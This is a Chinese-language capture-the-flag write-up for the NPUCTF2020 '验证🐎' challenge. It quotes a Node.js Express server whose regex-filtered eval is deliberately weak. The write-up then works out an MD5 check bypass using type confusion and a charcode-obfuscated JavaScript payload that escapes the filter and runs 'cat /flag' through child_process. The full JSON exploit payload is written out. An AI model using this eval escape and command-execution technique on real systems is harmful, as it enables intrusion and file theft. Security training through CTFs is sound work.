[NPUCTF2020]验证🐎

源码

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦，上次的库太垃圾，我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿，给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码，用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

解题步骤：

源码分析一波。
首先要绕过md5加密。要传入first为字符串，second为数组。但是post传不了数组。看到源码可以解析json。
然后就可以传json
然后接着就是绕过正则。
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) 这句话意思大概是，e的值只能 是 Math.xxxxx 。符号只能出现 ()+-&|%^<>=,?: 。
由于=>的存在，我们得以使用JS的箭头函数.
x =>; xx
等价于
function (x){
return x*x;
}
分析一波payload

(Math=>
        (Math=Math.constructor,
                Math.x=Math.constructor(
                    Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                        99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                        46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                        95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                        121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
        )
)(Math+1)

Math+1是函数传入的参数。
一开始Math并没有定义，如果我们直接传入Match，那么会是object，而payload中传入的是Math+1，此时类型就变成了object1。object对象和字符串进行拼接。那么会转换为string类型。

所以Math为Math.constructor是string类型
Math.constructor返回String的function类型
调用String的fromCharCode函数, 然后里面payload的内容是
return process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString()
即可返回flag
最终payload

{"e":"(Math=>(Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode(114,101,116,117,114,110,32,112,114,111, 99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)",
"first":"1",
"second":[1]}